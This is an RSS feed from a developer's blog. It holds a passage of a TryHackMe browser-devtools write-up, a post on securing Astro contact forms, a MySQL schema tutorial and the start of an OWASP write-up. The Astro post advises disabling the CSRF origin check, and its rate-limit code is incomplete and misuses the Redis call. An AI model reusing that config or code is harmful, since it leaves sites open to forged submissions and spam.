&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 5: Developer Tools - Debugger&lt;/h2&gt;
&lt;p&gt;The Debugger (or Sources tab in Chrome) allows you to dig deep into a webpage&apos;s JavaScript execution. Even if the code is minified or obfuscated, you can format it using the &quot;Pretty Print&quot; feature. For penetration testing, the Debugger is invaluable because it lets you set breakpoints. Breakpoints force the browser to pause JavaScript execution at a specific line, enabling you to inspect variables, stop temporary pop-ups from disappearing, and understand the core logic of the application.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the flag in the red box?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-14.D1heuogN_Z1DjYVt.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;On this page, when we try to refresh it, a red box briefly appears for a split second before disappearing.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-16.NH3b08LR_ZRUeSQ.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;To investigate this behavior, we open &lt;strong&gt;Inspect Element&lt;/strong&gt; and go to the &lt;strong&gt;Debugger&lt;/strong&gt; tab.&lt;br&gt;
Next, we expand the &lt;strong&gt;assets&lt;/strong&gt; directory until we find &lt;code&gt;flash.min.js&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After opening the file, we enable &lt;strong&gt;Pretty Print&lt;/strong&gt; to make the code more readable.&lt;br&gt;
At the bottom of the script, we find the line:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;flash[&apos;remove&apos;]();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We then click on that line to set a breakpoint (pause on debugger statement).
After setting the breakpoint, we refresh the page.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-15.DPGdbc_6_1Nn326.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;The script execution pauses before the element is removed, allowing us to see the hidden content and obtain the flag:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{REDACTED}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 6: Developer Tools - Network&lt;/h2&gt;
&lt;p&gt;The Network tab tracks and logs every single external request a webpage makes to the server . It is a critical tool for monitoring background traffic, such as data sent and received via AJAX when a user submits a form. By inspecting these network events, penetration testers can intercept hidden parameters, view the exact data payload being transmitted, and discover backend endpoints that handle the requests.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the flag shown on the contact-msg network request?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-17.FMwkPxtZ_BiaGt.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Still on the &lt;strong&gt;Contact&lt;/strong&gt; page, disable the previous debugger breakpoint and switch to the &lt;strong&gt;Network&lt;/strong&gt; tab in Developer Tools.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-18.Cl2qsovK_26oelS.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Enter any random input into the form and submit it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-19.DeyHTynY_Z16j5b3.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;After submitting, a new request appears at the bottom of the &lt;strong&gt;Network&lt;/strong&gt; panel.&lt;br&gt;
Click on that request, then open the &lt;strong&gt;Response&lt;/strong&gt; tab.&lt;/p&gt;
&lt;p&gt;Inside the response body, we can see the flag:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{REDACTED}&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/a.CHP1d-8D.webp"/><enclosure url="/_astro/a.CHP1d-8D.webp"/></item><item><title>Secure Astro 5 Contact Forms with Resend and Upstash</title><link>https://farros.co/blog/secure-astro-5-contact-forms-with-resend-and-upstash/</link><guid isPermaLink="true">https://farros.co/blog/secure-astro-5-contact-forms-with-resend-and-upstash/</guid><description>Build a production-ready contact form in Astro 5. Learn to integrate Resend for emails and Upstash Redis for rate limiting to block spam effectively.</description><pubDate>Fri, 20 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A contact form might look simple on the surface, but in production it carries real responsibility. It handles user data, triggers emails, and becomes a direct entry point to your system.&lt;/p&gt;
&lt;p&gt;That’s why it needs three things from day one: &lt;strong&gt;reliability&lt;/strong&gt;, strong &lt;strong&gt;security&lt;/strong&gt;, and proper &lt;strong&gt;spam protection&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;I’ve recently been setting up a solar energy website, and the shift from &quot;Demo Mode&quot; to &quot;Production Mode&quot; required a complete architectural pivot. Here is exactly how to do it.&lt;/p&gt;
&lt;h2&gt;The Stack: Why Resend + Upstash?&lt;/h2&gt;
&lt;p&gt;Modern web development demands serverless-friendly solutions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Resend:&lt;/strong&gt; It’s built for developers. The API is clean, the dashboard is beautiful, and the deliverability is top-tier.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Upstash Redis:&lt;/strong&gt; Client-side validation is a joke for bots. You need a server-side shield. Upstash gives you a serverless Redis instance that handles rate limiting with zero cold starts.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Step 1: Setting Up the Email Engine (Resend)&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.BKYZKSpn_Z11nrBT.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;First, forget about configuring SMTP ports. With Resend, you just need an API Key.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The Trap:&lt;/strong&gt; When you first sign up, you are restricted to &lt;code&gt;onboarding@resend.dev&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The 403 Error:&lt;/strong&gt; Many devs hit a wall here. You cannot send emails to any recipient other than yourself until you verify your domain.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Pro Tip:&lt;/strong&gt; If you need to send to a business email (e.g., &lt;code&gt;admin@example.com&lt;/code&gt;) before your DNS propagates, just forward your Resend-verified personal email to the office inbox. It’s a 2-minute hack that saves hours.&lt;/p&gt;
&lt;h2&gt;Step 2: Implementing the Rate Limiting Shield&lt;/h2&gt;
&lt;p&gt;Bots love contact forms. If you don&apos;t rate limit, you&apos;ll wake up to 10,000 spam emails and a suspended API account.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.Bk04qowY_1X973M.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;We use &lt;strong&gt;Upstash Redis&lt;/strong&gt; to track IP addresses. By setting a 30-second window for each submission, we ensure that a single user (or bot) can&apos;t spam the &quot;Submit&quot; button. It’s the difference between a professional site and an expensive mistake.&lt;/p&gt;
&lt;h2&gt;Step 3: Leveraging Astro Actions for Type Safety&lt;/h2&gt;
&lt;p&gt;Astro 5 introduced &lt;strong&gt;Actions&lt;/strong&gt;, and it changed many thing. Instead of manually handling API routes and parsing JSON, Actions allow you to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Define a strict schema using Zod.&lt;/li&gt;
&lt;li&gt;Handle form data directly on the server.&lt;/li&gt;
&lt;li&gt;Get full type safety on the client side.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It makes the &quot;Loading&quot; and &quot;Error&quot; states easy to manage. No more messy &lt;code&gt;fetch()&lt;/code&gt; calls with nested &lt;code&gt;try/catch&lt;/code&gt; blocks.&lt;/p&gt;
&lt;h2&gt;Dealing with the &quot;Cross-site POST&quot; Error in Production&lt;/h2&gt;
&lt;p&gt;When you move your Astro site to a VPS or a specific hosting provider, you might encounter a frustrating error: &lt;code&gt;Cross-site POST form submissions are forbidden&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This is Astro&apos;s built-in CSRF protection. If the &lt;code&gt;Origin&lt;/code&gt; header doesn&apos;t match your &lt;code&gt;site&lt;/code&gt; configuration in &lt;code&gt;astro.config.mjs&lt;/code&gt;, Astro blocks the submission. This often happens when you&apos;re behind a proxy (like Nginx) or using a custom domain that doesn&apos;t perfectly match your config.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Fix:&lt;/strong&gt;
You can ensure your &lt;code&gt;site&lt;/code&gt; property in &lt;code&gt;astro.config.mjs&lt;/code&gt; matches your production URL exactly. Alternatively, if you&apos;re behind a proxy that strips or modifies headers, you can disable this check:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// astro.config.mjs
export default defineConfig({
  // ...
  security: {
    checkOrigin: false
  }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;The &quot;Honeypot&quot; Technique: Invisible Security&lt;/h2&gt;
&lt;p&gt;One of my favorite tricks included in this setup is the &lt;strong&gt;Honeypot field&lt;/strong&gt;. We add a hidden input that is invisible to humans but visible to bots. If a bot fills it out, the server immediately rejects the request without even calling the email API. It&apos;s a silent, effective killer for 90% of automated spam.&lt;/p&gt;
&lt;h2&gt;The Implementation: From Client to Inbox&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.BXR0ohv4_106JLL.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;To understand how this template works, here is the journey of a single form submission:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;User fills the form:&lt;/strong&gt; Client-side validation (HTML5) does a quick check.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JavaScript Interception:&lt;/strong&gt; The browser prevents a full-page reload and sends data via &lt;strong&gt;Astro Actions&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Honeypot Check:&lt;/strong&gt; The server checks if the &quot;hidden&quot; field is filled. If yes -&gt; Reject.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rate Limit Check:&lt;/strong&gt; Redis (Upstash) checks the user&apos;s IP. If too many requests -&gt; Reject.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Zod Validation:&lt;/strong&gt; Server-side schema validation ensures data is clean.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Email Dispatch:&lt;/strong&gt; Resend API sends the data to your inbox.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UI Feedback:&lt;/strong&gt; The user sees a success message without the page flickering.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;1. The Server Action (The Brain)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// src/actions/index.ts
import { Resend } from &quot;resend&quot;;
import { Redis } from &quot;@upstash/redis&quot;;

const resend = new Resend(import.meta.env.RESEND_API_KEY);
const redis = new Redis({
  url: import.meta.env.UPSTASH_REDIS_REST_URL,
  token: import.meta.env.UPSTASH_REDIS_REST_TOKEN,
});

export const server = {
  send: defineAction({
    accept: &quot;form&quot;,
    input: z.object({
      name: z.string().min(3),
      email: z.string().email(),
      company: z.string().optional(), // Honeypot
    }),
    handler: async ({ name, email, company }, context) =&gt; {
      // 1. Honeypot check
      if (company) throw new ActionError({ code: &quot;BAD_REQUEST&quot; });

      // 2. Rate limiting (Upstash Redis)
      const ip = context.request.headers.get(&quot;x-forwarded-for&quot;) || &quot;unknown&quot;;
      const { success } = await redis.incr(`limit:${ip}`);
      // (Add logic to check count and set expiry here)

      // 3. Send email (Resend)
      await resend.emails.send({
        from: import.meta.env.RESEND_EMAIL,
        to: import.meta.env.FROM_EMAIL,
        subject: `New Message from ${name}`,
        text: `Sender: ${email} \nMessage: ...`,
      });

      return { success: true };
    }
  })
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. The Form UI (The Face)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- src/components/sections/contact/ContactForm.astro --&gt;
&amp;#x3C;form id=&quot;contact-form&quot;&gt;
  &amp;#x3C;!-- Invisible to humans --&gt;
  &amp;#x3C;input name=&quot;company&quot; style=&quot;display:none&quot; tabindex=&quot;-1&quot; /&gt;
  
  &amp;#x3C;input name=&quot;name&quot; required /&gt;
  &amp;#x3C;input name=&quot;email&quot; type=&quot;email&quot; required /&gt;
  
  &amp;#x3C;button id=&quot;submit-btn&quot;&gt;Submit&amp;#x3C;/button&gt;
&amp;#x3C;/form&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. The Submission Logic (The Bridge)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// Client-side Script
const { error } = await actions.send(new FormData(form));

if (error) {
  // Show error in UI
} else {
  // Show success and reset form
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;By combining &lt;strong&gt;Astro 5 Actions&lt;/strong&gt;, &lt;strong&gt;Resend&lt;/strong&gt;, and &lt;strong&gt;Upstash&lt;/strong&gt;, we’re building more than a form. We’re building a secure, reliable gateway for your business.&lt;/p&gt;
&lt;p&gt;If this helped you level up your production mindset, give it a clap, share it with fellow devs, and follow for more practical, security-focused breakdowns.&lt;/p&gt;</content:encoded><h:img src="/_astro/a.DhpvR5q1.webp"/><enclosure url="/_astro/a.DhpvR5q1.webp"/></item><item><title>Designing a MySQL Database for B2B Energy Products</title><link>https://farros.co/blog/designing-a-mysql-database-for-b2b-energy-products/</link><guid isPermaLink="true">https://farros.co/blog/designing-a-mysql-database-for-b2b-energy-products/</guid><description>Design a basic product data for B2B electrical and renewable energy  products with tier pricing, categories, brands, and multi-currency support.</description><pubDate>Thu, 19 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;1. Introduction&lt;/h2&gt;
&lt;p&gt;In this article, we will walk through how to design and implement a &lt;strong&gt;MySQL database&lt;/strong&gt; for a B2B project that manages electrical materials and renewable energy products.&lt;/p&gt;
&lt;p&gt;The system will handle:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Core product data (SKU, price, stock, etc.)&lt;/li&gt;
&lt;li&gt;Multi-level categories (category → subcategory → sub-subcategory)&lt;/li&gt;
&lt;li&gt;Brand management&lt;/li&gt;
&lt;li&gt;Tier pricing (volume-based pricing)&lt;/li&gt;
&lt;li&gt;Multi-currency support (USD &amp;#x26; IDR/Rupiah)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This design follows relational database best practices: normalization, foreign keys, indexing, and scalability.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. System Overview&lt;/h2&gt;
&lt;p&gt;The project is a &lt;strong&gt;B2B product catalog + pricing engine&lt;/strong&gt; for materials such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cables&lt;/li&gt;
&lt;li&gt;Circuit breakers&lt;/li&gt;
&lt;li&gt;Solar panels&lt;/li&gt;
&lt;li&gt;Inverters&lt;/li&gt;
&lt;li&gt;Battery systems&lt;/li&gt;
&lt;li&gt;Switchgear&lt;/li&gt;
&lt;li&gt;Renewable energy components&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Because this is B2B, it requires:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tier pricing (bulk discount)&lt;/li&gt;
&lt;li&gt;Multiple currencies (USD &amp;#x26; IDR)&lt;/li&gt;
&lt;li&gt;Clear product hierarchy&lt;/li&gt;
&lt;li&gt;Brand-based filtering&lt;/li&gt;
&lt;li&gt;Stock and MOQ control&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;3. System Architecture Diagram (ASCII)&lt;/h2&gt;
&lt;h3&gt;System Flow (User → Database)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;+-------------------+
|   B2B Customer    |
+---------+---------+
          |
          v
+-------------------+
|   Web / API App   |
| (Laravel / Node)  |
+---------+---------+
          |
          v
+-------------------+
|   Business Logic  |
| - Pricing Engine  |
| - Tier Calculation|
| - Currency Logic  |
+---------+---------+
          |
          v
+-------------------+
|      MySQL DB     |
|-------------------|
| products          |
| brands            |
| categories        |
| tier_prices       |
| product_categories|
+-------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3&gt;Product Data Relationship Flow (Database Structure)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;                 +----------------+
                 |    brands      |
                 |----------------|
                 | id (PK)        |
                 | name           |
                 +--------+-------+
                          |
                          |
                          v
+----------------+    +----------------+
|   categories   |    |    products    |
|----------------|    |----------------|
| id (PK)        |    | id (PK)        |
| name           |    | sku            |
| parent_id (FK) |    | product_name   |
+--------+-------+    | brand_id (FK)  |
         |            | price_usd      |
         |            | price_idr      |
         |            +--------+-------+
         |                     |
         |                     v
         |            +----------------+
         |            |  tier_prices   |
         |            |----------------|
         |            | product_id (FK)|
         |            | min_qty        |
         |            | price_usd      |
         |            | price_idr      |
         |            +----------------+
         |
         v
+----------------------+
| product_categories   |
|----------------------|
| product_id (FK)      |
| category_id (FK)     |
+----------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3&gt;Tier Pricing Logic Flow (Business Logic)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Customer selects quantity (Q)
              |
              v
Fetch all tier_prices
ORDER BY min_qty DESC
              |
              v
Find first tier where:
Q &gt;= min_qty
              |
              v
Apply tier price
              |
              v
Return final price (USD / IDR)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3&gt;Category Hierarchy Logic&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Electrical
   |
   +-- Cable
   |      |
   |      +-- Solar Cable
   |
   +-- Circuit Breaker
   |
   +-- Renewable Energy
          |
          +-- Solar Panel
          +-- Inverter
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;4. Database Design&lt;/h2&gt;
&lt;p&gt;We will design the following tables:&lt;/p&gt;
&lt;h3&gt;Main Tables&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;products&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;brands&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;categories&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;product_categories&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tier_prices&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Optional extension:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;currencies&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;product_documents&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;5. Table Implementation&lt;/h2&gt;
&lt;h3&gt;Category Structure&lt;/h3&gt;
&lt;p&gt;Since we have:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Category&lt;/li&gt;
&lt;li&gt;Sub Category&lt;/li&gt;
&lt;li&gt;Sub Sub Category&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We will use a &lt;strong&gt;self-referencing (adjacency list) model&lt;/strong&gt;.&lt;/p&gt;
&lt;h4&gt;categories table&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TABLE categories (
    id INT AUTO_INCREMENT PRIMARY KEY,
    name VARCHAR(100) NOT NULL,
    parent_id INT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    FOREIGN KEY (parent_id) REFERENCES categories(id)
);
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;How it works&lt;/h4&gt;
&lt;p&gt;| id | name        | parent_id |
| -- | ----------- | --------- |
| 1  | Electrical  | NULL      |
| 2  | Cable       | 1         |
| 3  | Solar Cable | 2         |&lt;/p&gt;
&lt;p&gt;This allows unlimited depth while keeping schema simple.&lt;/p&gt;
&lt;h3&gt;Brand Table&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TABLE brands (
    id INT AUTO_INCREMENT PRIMARY KEY,
    name VARCHAR(100) NOT NULL UNIQUE,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Products Table&lt;/h3&gt;
&lt;p&gt;This is the core of the system.&lt;/p&gt;
&lt;h4&gt;Required Fields&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;SKU&lt;/li&gt;
&lt;li&gt;Product Name&lt;/li&gt;
&lt;li&gt;Description / Specification&lt;/li&gt;
&lt;li&gt;Datasheet&lt;/li&gt;
&lt;li&gt;Price (USD &amp;#x26; IDR)&lt;/li&gt;
&lt;li&gt;Stock&lt;/li&gt;
&lt;li&gt;Unit&lt;/li&gt;
&lt;li&gt;MOQ&lt;/li&gt;
&lt;li&gt;Brand reference&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TABLE products (
    id INT AUTO_INCREMENT PRIMARY KEY,
    sku VARCHAR(50) NOT NULL UNIQUE,
    product_name VARCHAR(255) NOT NULL,
    description TEXT,
    datasheet_url VARCHAR(255),

    price_usd DECIMAL(15,2) NOT NULL,
    price_idr DECIMAL(18,2) NOT NULL,

    stock INT DEFAULT 0,
    unit VARCHAR(50) NOT NULL,
    moq INT DEFAULT 1,

    brand_id INT,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,

    FOREIGN KEY (brand_id) REFERENCES brands(id)
);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Product–Category Relationship&lt;/h3&gt;
&lt;p&gt;A product may belong to multiple categories.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TABLE product_categories (
    product_id INT,
    category_id INT,
    PRIMARY KEY (product_id, category_id),
    FOREIGN KEY (product_id) REFERENCES products(id) ON DELETE CASCADE,
    FOREIGN KEY (category_id) REFERENCES categories(id) ON DELETE CASCADE
);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;6. Tier Pricing Logic&lt;/h2&gt;
&lt;p&gt;This is critical in B2B.&lt;/p&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1–9 units: $100&lt;/li&gt;
&lt;li&gt;10–49 units: $90&lt;/li&gt;
&lt;li&gt;50+ units: $80&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TABLE tier_prices (
    id INT AUTO_INCREMENT PRIMARY KEY,
    product_id INT NOT NULL,
    min_qty INT NOT NULL,
    price_usd DECIMAL(15,2) NOT NULL,
    price_idr DECIMAL(18,2) NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    FOREIGN KEY (product_id) REFERENCES products(id) ON DELETE CASCADE
);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Example Data&lt;/h3&gt;
&lt;p&gt;| product_id | min_qty | price_usd | price_idr |
| ---------- | ------- | --------- | --------- |
| 1          | 1       | 100.00    | 1500000   |
| 1          | 10      | 90.00     | 1350000   |
| 1          | 50      | 80.00     | 1200000   |&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Query Examples&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;INSERT INTO brands (name)
VALUES (&apos;Schneider Electric&apos;);

INSERT INTO products (
    sku,
    product_name,
    description,
    datasheet_url,
    price_usd,
    price_idr,
    stock,
    unit,
    moq,
    brand_id
) VALUES (
    &apos;MCB-SCH-16A&apos;,
    &apos;Miniature Circuit Breaker 16A&apos;,
    &apos;1P 16A MCB for residential and industrial use&apos;,
    &apos;https://example.com/datasheet.pdf&apos;,
    25.00,
    375000,
    500,
    &apos;pcs&apos;,
    10,
    1
);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Get Product With Tier Price&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT p.product_name, t.min_qty, t.price_usd
FROM products p
JOIN tier_prices t ON p.id = t.product_id
WHERE p.sku = &apos;MCB-SCH-16A&apos;
ORDER BY t.min_qty ASC;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3&gt;Get All Solar Category Products&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT p.product_name
FROM products p
JOIN product_categories pc ON p.id = pc.product_id
JOIN categories c ON pc.category_id = c.id
WHERE c.name = &apos;Solar Cable&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3&gt;Multi-Currency Strategy&lt;/h3&gt;
&lt;p&gt;Two approaches:&lt;/p&gt;
&lt;h3&gt;Approach A: Store Both USD &amp;#x26; IDR (Simple)&lt;/h3&gt;
&lt;p&gt;✔ Fast&lt;/p&gt;
&lt;p&gt;✔ No conversion needed&lt;/p&gt;
&lt;p&gt;❌ Must manually update exchange rates&lt;/p&gt;
&lt;h3&gt;Approach B: Store USD Only + Exchange Rate Table&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TABLE exchange_rates (
    currency_code VARCHAR(10) PRIMARY KEY,
    rate_to_usd DECIMAL(15,6),
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then convert dynamically.&lt;/p&gt;
&lt;p&gt;For B2B in Indonesia, storing both USD &amp;#x26; IDR is usually practical.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Performance Considerations&lt;/h2&gt;
&lt;p&gt;Add indexes:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE INDEX idx_sku ON products(sku);
CREATE INDEX idx_category_parent ON categories(parent_id);
CREATE INDEX idx_tier_product ON tier_prices(product_id);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For large datasets:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use pagination&lt;/li&gt;
&lt;li&gt;Avoid SELECT *&lt;/li&gt;
&lt;li&gt;Consider caching tier pricing&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;Scaling for Real B2B&lt;/h3&gt;
&lt;p&gt;To make it production-ready:&lt;/p&gt;
&lt;p&gt;Add:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;customers&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;customer_groups&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Custom pricing per group&lt;/li&gt;
&lt;li&gt;Order management&lt;/li&gt;
&lt;li&gt;Quotation system&lt;/li&gt;
&lt;li&gt;API layer&lt;/li&gt;
&lt;li&gt;Soft delete column&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;Final Architecture Summary&lt;/h3&gt;
&lt;p&gt;This MySQL design provides:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Structured hierarchical categories&lt;/li&gt;
&lt;li&gt;Brand management&lt;/li&gt;
&lt;li&gt;Multi-currency pricing&lt;/li&gt;
&lt;li&gt;Tier pricing for bulk&lt;/li&gt;
&lt;li&gt;Clean relational design&lt;/li&gt;
&lt;li&gt;Scalable B2B foundation&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It is optimized for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Electrical material distributors&lt;/li&gt;
&lt;li&gt;Renewable energy suppliers&lt;/li&gt;
&lt;li&gt;Solar project vendors&lt;/li&gt;
&lt;li&gt;Industrial procurement platforms&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="/_astro/a.Bfc33L9A.webp"/><enclosure url="/_astro/a.Bfc33L9A.webp"/></item><item><title>OWASP Top 10 2025: Insecure Data Handling | TryHackMe</title><link>https://farros.co/blog/owasp-top-10-2025-insecure-data-handling-tryhackme/</link><guid isPermaLink="true">https://farros.co/blog/owasp-top-10-2025-insecure-data-handling-tryhackme/</guid><description>Hands-on walkthrough of Cryptographic Failures, Injection, and Integrity Failures in OWASP Top 10 2025 using TryHackMe labs.</description><pubDate>Thu, 19 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is my write-up for the TryHackMe room on &lt;a href=&quot;https://tryhackme.com/room/owasptopten2025three&quot;&gt;OWASP Top 10 2025: Insecure Data Handling&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I documented the steps I took, the payloads I tested, and the reasoning behind each move. Hopefully this write-up helps anyone who is currently learning or reviewing OWASP Top 10 concepts in a practical way.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;This room covers three elements of the OWASP Top 10 (2025) list related to application behaviour and user input: Cryptographic Failures (A04), Injection (A05), and Software or Data Integrity Failures (A08). You will learn about these vulnerabilities, how to prevent them, and practice exploiting them using a deployed Virtual Machine.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I&apos;m ready!&lt;/strong&gt;&lt;/p&gt;
